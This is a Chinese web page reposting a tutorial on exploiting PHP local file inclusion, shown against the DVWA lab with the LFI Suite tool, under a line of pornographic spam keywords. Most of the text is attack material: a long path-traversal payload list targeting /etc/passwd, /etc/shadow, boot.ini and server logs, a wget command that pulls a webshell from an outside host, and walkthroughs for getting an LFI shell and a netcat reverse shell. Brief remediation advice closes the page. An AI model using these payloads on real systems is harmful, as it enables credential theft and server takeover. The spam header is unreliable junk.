日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
如何有效規(guī)避本地文件包含簡單利用的漏洞攻擊

今天在公眾號看到了一個(gè)本地文件包含的利用工具,看了下國外大牛對該工具的使用的一個(gè)視頻,感覺很厲害,通過該工具可對存在本地文件包含漏洞的站點(diǎn)進(jìn)行利用并返回一個(gè)LFI shell,通過返回的LFI shell再次獲取一個(gè)反向連接,從而可執(zhí)行相關(guān)命令,以前對本地文件包含的利用大多都停留在讀取文件,如果有遠(yuǎn)程文件包含的話就可以getshell。

這篇文章主要是對本地文件包含的一個(gè)簡單介紹及利用,主要是對工具的使用,也主要是記錄下該過程,方便以后查看,然后再抽時(shí)間研究下大神源代碼!大神請繞道而行!: )

0x01 文件包含漏洞原理

文件包含漏洞主要是程序員把一些公用的代碼寫在一個(gè)單獨(dú)的文件中,然后使用其他文件進(jìn)行包含調(diào)用,如果需要包含的文件使用硬編碼,一般是不會(huì)出現(xiàn)安全問題,但是有時(shí)可能不確定需要包含哪些具體文件,所以就會(huì)采用變量的形式來傳遞需要包含的文件,但是在使用包含文件的過程中,未對包含的變量進(jìn)行檢查及過濾,導(dǎo)致外部提交的惡意數(shù)據(jù)作為變量進(jìn)入到了文件包含的過程中,從而導(dǎo)致提交的惡意數(shù)據(jù)被執(zhí)行。

文件包含通常分為本地文件包含(Local File Inclusion)和遠(yuǎn)程文件包含(Remote File Inclusion)。allow_url_fopen和 allow_url_include為0n的情況認(rèn)為是遠(yuǎn)程文件包含漏洞,allow_url_fopen為off和 allow_url_include為0n為本地文件包含漏洞,如圖1 配置文件所示。本次主要是利用本地文件包含,所以將allow_url_fopen設(shè)置為了off。

圖1 php.ini配置

另外,文件包含漏洞主要涉及到的危險(xiǎn)函數(shù)有四個(gè):include(),require()和include_once(),require_once()。

include():執(zhí)行到include時(shí)才包含文件,找不到被包含文件時(shí)只會(huì)產(chǎn)生警告,腳本將繼續(xù)執(zhí)行。

require():只要程序一運(yùn)行就包含文件,找不到被包含的文件時(shí)會(huì)產(chǎn)生致命錯(cuò)誤,并停止腳本。

include_once()和require_once():若文件中代碼已被包含則不會(huì)再次包含。(來自簡書)

0x02 文件包含漏洞危害

通過文件包含漏洞,可以讀取系統(tǒng)中的敏感文件,源代碼文件等,如密碼文件,通過對密碼文件進(jìn)行暴力破解,若破解成功則可獲取操作系統(tǒng)的用戶賬戶,甚至可通過開放的遠(yuǎn)程連接服務(wù)進(jìn)行連接控制;另外文件包含漏洞還可能導(dǎo)致執(zhí)行任意代碼,不管本地文件包含還是遠(yuǎn)程文件包含!

常見的利用方法有以下三點(diǎn):

一、讀取目標(biāo)主機(jī)上的其他文件,主要是本地文件包含。

二、包含可運(yùn)行的網(wǎng)頁木馬,主要是遠(yuǎn)程文件包含,前提是"allow_url_fopen"是激活的(默認(rèn)是激活的,沒幾個(gè)人會(huì)修改)。

三、包含一個(gè)創(chuàng)建文件的相應(yīng)代碼文件,因?yàn)橥ㄟ^文件包含漏洞獲取的shell不是長久的,如果這個(gè)漏洞修補(bǔ)了,那么shell也就不存在了,因此需要?jiǎng)?chuàng)建一個(gè)真實(shí)的shell。我們可以先包含一個(gè)可以執(zhí)行cmd的偽shell,然后使用wget加-O參數(shù)(類似:

http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget http://x.x.x.x/muma.txt -O muma.php)獲取一個(gè)真正的webshell。如果系統(tǒng)中沒有wget命令,獲取目錄不可寫,那么我們可以包含一個(gè)創(chuàng)建文件的腳本,然后通過腳本上傳木馬文件。

除了以上三點(diǎn)外,應(yīng)該還有一點(diǎn)就是執(zhí)行任意命令!

0x03 實(shí)驗(yàn)環(huán)境

本次實(shí)驗(yàn)環(huán)境主要是利用dvwa平臺(tái)進(jìn)行演示,如圖2所示。DVWA(Damn Vulnerable Web Application)是用PHP+MySQL編寫的一套Web漏洞平臺(tái),說簡單點(diǎn)就是所謂的網(wǎng)站漏洞靶機(jī),該平臺(tái)包含了SQL注入、XSS、本地文件包含、命令執(zhí)行等一些常見的Web安全漏洞,并且該平臺(tái)是開源的,可以從官網(wǎng)直接下載。

圖2 dvwa平臺(tái)

0x04 本地文件包含利用工具

本次主要使用的是LFI SUIT本地文件包含利用工具,是一款用Python2.7編寫的神器,適用于Windows,Linux和OS X,并且首次使用會(huì)自動(dòng)配置,自動(dòng)安裝需要的模塊,該工具提供了九種不同的文件包含攻擊模塊,如圖3所示。

另外當(dāng)你通過一個(gè)可利用的攻擊獲取到一個(gè)LFI shell后,你可以通過輸入“reverseshell”命令輕易地獲得一個(gè)反向shell。但是前提是你必須讓你的系統(tǒng)監(jiān)聽反向連接,比如使用“nc –lvp port”。

圖3 九種不同的文件包含攻擊模塊

0x05 本地文件包含讀取文件

在之前的本地文件包含漏洞中,大多數(shù)都是進(jìn)行讀取文件,如Linux下的密碼文件(../../../../etc/shadow以及../../../../etc/passwd),獲取并讀取一些你知道物理路徑的一些文件,如圖4所示。

圖4 讀取已知路徑下的文件

以下是一些簡單的測試用例,根據(jù)實(shí)際情況進(jìn)行適當(dāng)?shù)男薷摹?/p>

../../tomcat/conf/tomcat-users.xml

../

%2e%2e%2f which translates to ../

%2e%2e/ which translates to ../

..%2f which translates to ../

%2e%2e%5c which translates to ..\

%c1%1c

%c0%9v

%c0%af

..%5c../

../../../../../../../../../../../../etc/hosts%00

../../../../../../../../../../../../etc/hosts

../../boot.ini

/../../../../../../../../%2A

../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../etc/shadow%00

../../../../../../../../../../../../etc/shadow

/../../../../../../../../../../etc/passwd^^

/../../../../../../../../../../etc/shadow^^

/../../../../../../../../../../etc/passwd

/../../../../../../../../../../etc/shadow

/./././././././././././etc/passwd

/./././././././././././etc/shadow

\..\..\..\..\..\..\..\..\..\..\etc\passwd

\..\..\..\..\..\..\..\..\..\..\etc\shadow

..\..\..\..\..\..\..\..\..\..\etc\passwd

..\..\..\..\..\..\..\..\..\..\etc\shadow

/..\../..\../..\../..\../..\../..\../etc/passwd

/..\../..\../..\../..\../..\../..\../etc/shadow

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow

\..\..\..\..\..\..\..\..\..\..\etc\passwd%00

\..\..\..\..\..\..\..\..\..\..\etc\shadow%00

..\..\..\..\..\..\..\..\..\..\etc\passwd%00

..\..\..\..\..\..\..\..\..\..\etc\shadow%00

%0a/bin/cat%20/etc/passwd

%0a/bin/cat%20/etc/shadow

%00/etc/passwd%00

%00/etc/shadow%00

%00../../../../../../etc/passwd

%00../../../../../../etc/shadow

/../../../../../../../../../../../etc/passwd%00.jpg

/../../../../../../../../../../../etc/passwd%00.html

/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd

/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow

%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00

/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00

%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00

%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini

/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini

\\'/bin/cat%20/etc/passwd\\'

\\'/bin/cat%20/etc/shadow\\'

../../../../../../../../conf/server.xml

/../../../../../../../../bin/id|

C:/inetpub/wwwroot/global.asa

C:\inetpub\wwwroot\global.asa

C:/boot.ini

C:\boot.ini

../../../../../../../../../../../../localstart.asp%00

../../../../../../../../../../../../localstart.asp

../../../../../../../../../../../../boot.ini%00

../../../../../../../../../../../../boot.ini

/./././././././././././boot.ini

/../../../../../../../../../../../boot.ini%00

/../../../../../../../../../../../boot.ini

/..\../..\../..\../..\../..\../..\../boot.ini

/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini

\..\..\..\..\..\..\..\..\..\..\boot.ini

..\..\..\..\..\..\..\..\..\..\boot.ini%00

..\..\..\..\..\..\..\..\..\..\boot.ini

/../../../../../../../../../../../boot.ini%00.html

/../../../../../../../../../../../boot.ini%00.jpg

/.../.../.../.../.../

..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bo

../../../../../../../../../../var/log/httpd/access_log

../../../../../../../../../../var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../../../../etc/httpd/logs/acces_log

../../../../../../../../../../etc/httpd/logs/acces.log

../../../../../../../../../../etc/httpd/logs/error_log

../../../../../../../../../../etc/httpd/logs/error.log

../../../../../../../../../../var/www/logs/access_log

../../../../../../../../../../var/www/logs/access.log

../../../../../../../../../../usr/local/apache/logs/access_log

../../../../../../../../../../usr/local/apache/logs/access.log

../../../../../../../../../../var/log/apache/access_log

../../../../../../../../../../var/log/apache/access.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/www/logs/error_log

../../../../../../../../../../var/www/logs/error.log

../../../../../../../../../../usr/local/apache/logs/error_log

../../../../../../../../../../usr/local/apache/logs/error.log

../../../../../../../../../../var/log/apache/error_log

../../../../../../../../../../var/log/apache/error.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/log/error_log

/var/log/httpd/access_log

/var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

/etc/httpd/logs/acces_log

/etc/httpd/logs/acces.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/apache/access_log

/var/log/apache/access.log

/var/log/access_log

/var/www/logs/error_log

/var/www/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/var/log/apache/error_log

/var/log/apache/error.log

/var/log/access_log

/var/log/error_log

../../../WEB-INF/web.xml

0x06 神器簡單獲取LFI shell

運(yùn)行LFI SUIT工具及選擇攻擊模塊

直接使用python lfisuite.py,如圖5所示。此時(shí)我們選擇利用功能模塊1。

圖5 運(yùn)行本地文件包含利用工具

設(shè)置cookie

在我們選擇利用功能模塊1后,會(huì)提示讓我們輸入cookie,如圖6所示:

圖6 設(shè)置cookie

獲取cookie

瀏覽器F12console輸入document.cookie即可獲取到當(dāng)前cookie,如圖7所示。

圖7 獲取cookie

成功獲取LFI shell

輸入cookie后,我們隨便選擇一個(gè)攻擊模塊試試,在此我們選擇3,選取攻擊模塊后,我們輸入漏洞地址即可成功獲取到一個(gè)shell,如圖8所示。

圖8 成功獲取LFI shell

0x07 自動(dòng)模塊獲取lfi shell

如果我們不知道那個(gè)攻擊模塊可以返回shell,我們可以選擇自動(dòng)攻擊模塊。

圖9 自動(dòng)攻擊模塊

選擇之后,我們需要選擇一個(gè)包含路徑的文件,我們選擇當(dāng)前目錄下的一個(gè)文件即可。

圖10 選擇文件

選擇文件后,該工具會(huì)嘗試可能性的路徑,并且加以利用。

圖11 選擇文件

如圖12所示,我們成功獲取了一個(gè)shell。

圖12 成功獲取shell

0x08 獲取一個(gè)反向連接

在我們已經(jīng)獲取到lfi shell后,我們可以使用reverseshell來獲取一個(gè)反向連接,我們先進(jìn)行監(jiān)聽反向連接,如圖13所示。

圖13 設(shè)置監(jiān)聽反向連接

我們輸入reverseshell后,設(shè)置IP即可

圖14 設(shè)置ip及端口

此時(shí),我們也成功獲取到了一個(gè)反向連接,如圖15所示。

圖15 獲取到反向連接

0x09 掃描模塊

另外,我們也可以先使用掃描模塊,然后在選擇對應(yīng)的攻擊模塊也能成功獲取到LFI shell。使用方法與上面都是一樣的,再次就不再進(jìn)行描述了。

0x10 總結(jié)與修復(fù)

本文主要是對文件包含做了一個(gè)簡單的介紹,如文件包含漏洞的簡單原理及危害,最重要的是對本地文件包含漏洞的進(jìn)一步利用,通過本地文件包含漏洞,從而獲取到一個(gè)反向連接或者是LFI shell。通過本文也讓自己對本地文件包含的危害和利用都有了一定的提高,不在是只停留在讀取文件上!

通過對該漏洞的利用,最安全的是設(shè)置allow_url_fopen和 allow_url_include為0ff,這樣就不能利用該漏洞了,另一方面可以做白名單限制,相當(dāng)于是硬編碼,直接把需要包含的文件固定死,這樣既不會(huì)影響業(yè)務(wù),也不會(huì)很輕松被利用,其次還是要對用戶的輸入保持懷疑態(tài)度,對用戶的輸入變量進(jìn)行嚴(yán)格的檢查及過濾! 

【原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請注明原文作者和出處為.com】


本文標(biāo)題:如何有效規(guī)避本地文件包含簡單利用的漏洞攻擊
本文地址:http://m.5511xx.com/article/cdhhgjc.html